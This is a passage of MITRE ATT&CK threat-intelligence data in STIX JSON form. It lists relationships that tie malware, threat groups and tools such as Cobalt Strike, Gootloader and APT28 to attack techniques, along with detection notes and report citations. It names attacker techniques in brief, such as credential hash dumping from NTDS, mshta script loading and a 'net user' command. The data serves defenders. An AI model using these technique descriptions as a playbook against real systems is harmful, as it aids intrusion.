APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014)(Citation: Secureworks BRONZEUNION Feb 2019)","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a322f31a-42e0-4314-9ea0-9e04037dc5ce","created":"2024-05-29T17:38:37.706Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelOne Gootloader June 2021","description":"Pirozzi, A. (2021, June 16). Gootloader: ‘Initial Access as a Service’ Platform Expands Its Search for High Value Targets. Retrieved May 28, 2024.","url":"https://www.sentinelone.com/labs/gootloader-initial-access-as-a-service-platform-expands-its-search-for-high-value-targets/"},{"source_name":"Sophos Gootloader","description":"Szappanos, G. & Brandt, A. (2021, March 1). “Gootloader” expands its payload delivery options. Retrieved September 30, 2022.","url":"https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-29T20:26:17.284Z","description":"[Gootloader](https://attack.mitre.org/software/S1138) can execute a Javascript file for initial infection.(Citation: Sophos Gootloader)(Citation: SentinelOne Gootloader June 2021)","relationship_type":"uses","source_ref":"malware--396c18b9-26fb-4435-8589-fb856502e4c4","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a3251b26-7012-4f26-9c5d-1fb9d69b8569","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"},{"source_name":"ZScaler Hacking Team","description":"Desai, D.. (2015, August 14). Chinese cyber espionage APT group leveraging recently leaked Hacking Team exploits to target a Financial Services Firm. Retrieved January 26, 2016.","url":"http://research.zscaler.com/2015/08/chinese-cyber-espionage-apt-group.html"}],"modified":"2020-03-16T16:56:45.659Z","description":"[HTTPBrowser](https://attack.mitre.org/software/S0070) is capable of listing files, folders, and drives on a victim.(Citation: Dell TG-3390)(Citation: ZScaler Hacking Team)","relationship_type":"uses","source_ref":"malware--e066bf86-9cfb-407a-9d25-26fd5d91e360","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a32b030b-32fb-4e94-b741-1122a33a1d74","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-11-04T15:14:47.605Z","description":"Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).","relationship_type":"detects","source_ref":"x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b","target_ref":"attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.0.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a33048dc-d843-497c-b8e0-048cc3a08ac7","type":"relationship","created":"2020-03-19T20:31:11.677Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-19T20:31:11.677Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839","target_ref":"attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a33388b7-3803-442f-8e31-511eef055470","created":"2017-05-31T21:33:27.060Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT17","description":"FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.","url":"https://web.archive.org/web/20240119213200/https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-04T17:04:35.672Z","description":"(Citation: FireEye APT17)","relationship_type":"uses","source_ref":"intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae","target_ref":"malware--d69c8146-ab35-4d50-8382-6fc80e641d43","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a33a1a9c-c8d1-45f5-ad29-4a4188e5a54b","type":"relationship","created":"2019-01-30T15:21:42.356Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","source_name":"Mandiant APT1"}],"modified":"2020-03-19T21:52:19.997Z","description":"[WEBC2](https://attack.mitre.org/software/S0109) can download and execute a file.(Citation: Mandiant APT1)","relationship_type":"uses","source_ref":"malware--1d808f62-cf63-4063-9727-ff6132514c22","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a33a2769-246f-44f4-b40d-441aad3c8c3a","created":"2024-03-15T21:17:47.046Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Security Mispadu Facebook Ads 2019","description":"ESET Security. (2019, November 19). Mispadu: Advertisement for a discounted Unhappy Meal. Retrieved March 13, 2024.","url":"https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/"},{"source_name":"Metabase Q Mispadu Trojan 2023","description":"Garcia, F., Regalado, D. (2023, March 7). Inside Mispadu massive infection campaign in LATAM. Retrieved March 15, 2024.","url":"https://www.metabaseq.com/mispadu-banking-trojan/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-15T21:18:05.882Z","description":"[Mispadu](https://attack.mitre.org/software/S1122) can list installed security products in the victim’s environment.(Citation: ESET Security Mispadu Facebook Ads 2019)(Citation: Metabase Q Mispadu Trojan 2023)","relationship_type":"uses","source_ref":"malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a33c172b-9910-4f36-8373-32126201144b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T18:38:38.785Z","description":"[Mis-Type](https://attack.mitre.org/software/S0084) may create a file containing the results of the command cmd.exe /c net user {Username}.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a33d759f-6106-4e67-9452-72b684ab209a","created":"2021-03-04T22:05:10.085Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cycraft Chimera April 2020","description":"Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020..","url":"https://cycraft.com/download/CyCraft-Whitepaper-Chimera_V4.1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:16.573Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has performed file deletion to evade detection.(Citation: Cycraft Chimera April 2020) ","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a33dbef1-994b-4dec-accb-6e63e9858f3e","type":"relationship","created":"2021-02-17T17:19:51.250Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 BendyBear Feb 2021","url":"https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/","description":"Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021."}],"modified":"2021-04-21T13:20:13.624Z","description":"[BendyBear](https://attack.mitre.org/software/S0574) can load and execute modules and Windows Application Programming (API) calls using standard shellcode API hashing.(Citation: Unit42 BendyBear Feb 2021)","relationship_type":"uses","source_ref":"malware--805480f1-6caa-4a67-8ca9-b2b39650d986","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a34352d8-8dc9-4721-9e73-ae56f5a886e7","type":"relationship","created":"2021-05-05T13:49:27.368Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2021-06-02T20:40:34.236Z","description":"[LiteDuke](https://attack.mitre.org/software/S0513) has the ability to download files.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--95e2cbae-d82c-4f7b-b63c-16462015d35d","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a34de077-b25d-479b-8001-897efde4b0c5","type":"relationship","created":"2021-04-16T19:04:13.328Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."},{"source_name":"Cybersecurity Advisory SVR TTP May 2021","url":"https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf","description":"NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021."},{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."},{"source_name":"Secureworks IRON RITUAL Profile","url":"https://www.secureworks.com/research/threat-profiles/iron-ritual","description":"Secureworks CTU. (n.d.). IRON RITUAL. Retrieved February 24, 2022."}],"modified":"2022-02-24T20:32:44.497Z","description":"(Citation: MSTIC NOBELIUM Mar 2021)(Citation: Cybersecurity Advisory SVR TTP May 2021)(Citation: MSTIC Nobelium Toolset May 2021)(Citation: Secureworks IRON RITUAL Profile)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--979adb5a-dc30-48f0-9e3d-9a26d866928c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a3567e77-aa1c-45dd-8217-e24df76e5def","created":"2020-11-06T18:40:38.332Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"},{"source_name":"Securelist APT10 March 2021","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021.","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/"},{"source_name":"Talos Cobalt Strike September 2020","description":"Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20210219195905/https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf"},{"source_name":"cobaltstrike manual","description":"Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.","url":"https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:54.842Z","description":"[Cobalt Strike](https://attack.mitre.org/software/S0154) can use a custom command and control protocol that can be encapsulated in HTTP or HTTPS. All protocols use their standard assigned ports.(Citation: cobaltstrike manual)(Citation: Talos Cobalt Strike September 2020)(Citation: Cobalt Strike Manual 4.3 November 2020)(Citation: Securelist APT10 March 2021)(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a358f0a9-b5b9-4a84-8c83-dc0a1325d63e","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"},{"source_name":"MS17-010 March 2017","description":"Microsoft. (2017, March 14). Microsoft Security Bulletin MS17-010 - Critical. Retrieved August 17, 2017.","url":"https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010"},{"source_name":"FireEye APT28 Hospitality Aug 2017","description":"Smith, L. and Read, B.. (2017, August 11). APT28 Targets Hospitality Sector, Presents Threat to Travelers. Retrieved August 17, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T17:51:20.416Z","description":"[APT28](https://attack.mitre.org/groups/G0007) exploited a Windows SMB Remote Code Execution Vulnerability to conduct lateral movement.(Citation: FireEye APT28)(Citation: FireEye APT28 Hospitality Aug 2017)(Citation: MS17-010 March 2017)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a359e758-a95c-4064-b8d7-b8351489409e","created":"2020-03-19T23:04:39.794Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Github Koadic","description":"Magius, J., et al. (2017, July 19). Koadic. Retrieved September 27, 2024.","url":"https://github.com/offsecginger/koadic"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-27T18:36:30.844Z","description":"[Koadic](https://attack.mitre.org/software/S0250) can gather hashed passwords by gathering domain controller hashes from NTDS.(Citation: Github Koadic)","relationship_type":"uses","source_ref":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","target_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a35b3954-d5b9-4b62-af55-de819f146969","created":"2024-08-05T21:44:03.724Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Proofpoint TA505 Jan 2019","description":"Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-02T14:08:54.419Z","description":"[ServHelper](https://attack.mitre.org/software/S0382) has created a new user named `supportaccount`.(Citation: Proofpoint TA505 Jan 2019)","relationship_type":"uses","source_ref":"malware--aae22730-e571-4d17-b037-65f2a3e26213","target_ref":"attack-pattern--d349c66e-18e1-4d8b-a2d7-65af7cbd2ba0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a35c951b-5987-4028-b002-a2078ad9c0a7","type":"relationship","created":"2020-03-18T19:36:50.913Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/","description":"Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.","source_name":"McAfee Bankshot"}],"modified":"2020-03-18T19:36:50.913Z","description":"[Bankshot](https://attack.mitre.org/software/S0239) gathers domain and account names/information through process monitoring.(Citation: McAfee Bankshot)","relationship_type":"uses","source_ref":"malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a360e9a6-541f-4026-9d50-70aa288e49ec","created":"2022-06-10T14:34:01.607Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MSTIC DEV-0537 Mar 2022","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022.","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T18:46:22.692Z","description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has exploited unpatched vulnerabilities on internally accessible servers including JIRA, GitLab, and Confluence for privilege escalation.(Citation: MSTIC DEV-0537 Mar 2022)","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a360fa6b-8b36-4401-b717-436badd67476","type":"relationship","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.872Z","description":"Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a36263d1-d109-4c94-930a-6be1e9615527","type":"relationship","created":"2017-05-31T21:33:27.053Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html","description":"FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.","source_name":"FireEye admin@338"}],"modified":"2019-09-04T19:48:17.681Z","description":"(Citation: FireEye admin@338)","relationship_type":"uses","source_ref":"intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a36264d2-5bb2-4268-8ce1-3de9fbdf2862","created":"2022-10-04T20:37:09.716Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant UNC3890 Aug 2022","description":"Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.","url":"https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-05T12:52:14.702Z","description":"For [C0010](https://attack.mitre.org/campaigns/C0010), UNC3890 actors used unique malware, including [SUGARUSH](https://attack.mitre.org/software/S1049) and [SUGARDUMP](https://attack.mitre.org/software/S1042).(Citation: Mandiant UNC3890 Aug 2022)","relationship_type":"uses","source_ref":"campaign--ab747e62-1bcb-479f-a26b-1cd39d413d81","target_ref":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a3627d9d-1c78-4b10-8b1c-3183a939862b","created":"2022-07-01T20:23:07.340Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-02T19:12:05.596Z","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) has used `mshta.exe` to load an HTA script within a malicious .LNK file.(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a36a52d4-3f2a-4f67-8da1-de9ecae18ed4","created":"2022-06-14T15:27:53.989Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kevin](https://attack.mitre.org/software/S1020) can use a renamed image of `cmd.exe` for execution.(Citation: Kaspersky Lyceum October 2021)","modified":"2022-08-31T16:39:27.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e7863f5d-cb6a-4f81-8804-0a635eec160a","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a36bddd3-6993-4f3f-9298-cba2868438b2","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html","description":"O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.","source_name":"FireEye APT33 Sept 2017"},{"url":"https://www.brighttalk.com/webcast/10703/275683","description":"Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.","source_name":"FireEye APT33 Webinar Sept 2017"},{"description":"Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.","url":"https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage","source_name":"Symantec Elfin Mar 2019"}],"modified":"2019-06-28T15:05:33.701Z","description":"(Citation: FireEye APT33 Sept 2017)(Citation: FireEye APT33 Webinar Sept 2017)(Citation: Symantec Elfin Mar 